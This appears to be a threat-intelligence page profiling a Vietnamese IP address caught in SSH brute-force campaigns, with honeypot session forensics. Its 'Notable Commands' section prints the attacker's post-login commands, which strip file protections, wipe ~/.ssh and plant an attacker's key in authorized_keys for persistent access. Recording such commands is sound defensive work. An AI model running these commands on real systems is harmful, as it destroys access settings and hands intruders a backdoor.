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Location
🇻🇳 VN
ASN
AS135905 · VIETNAM POSTS AND TELECOMMUNICATIONS GROUP
Cloud Provider
—
Total Events
123
Above average by volume
Agent Count
1
First / Last Seen
2026-06-04 12:25 — 2026-07-14 08:02
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (512 IPs, 72 countries)
HASSH
Active
high
🇺🇸 US
512 IPs
427333 events
ssh:bruteforce
2026-02-25 — ongoing · 512 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …
AS135905 VIETNAM POSTS AND TELECOMMUNICATIONS GROUP
ASN
Active
medium
🇻🇳 VN
7 IPs
5962 events
ssh:bruteforce
2026-02-16 — ongoing · 7 IPs from the same network (VIETNAM POSTS AND TELECOMMUNICATIONS GROUP, AS135905) were active during overlapping time periods. …
Session Forensics
Sessions
23 (2 with login)
Avg Depth Score
0.25
Commands Executed
3
Files Downloaded
1
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
1e5c67dc5e2a
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
930965ef715d
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…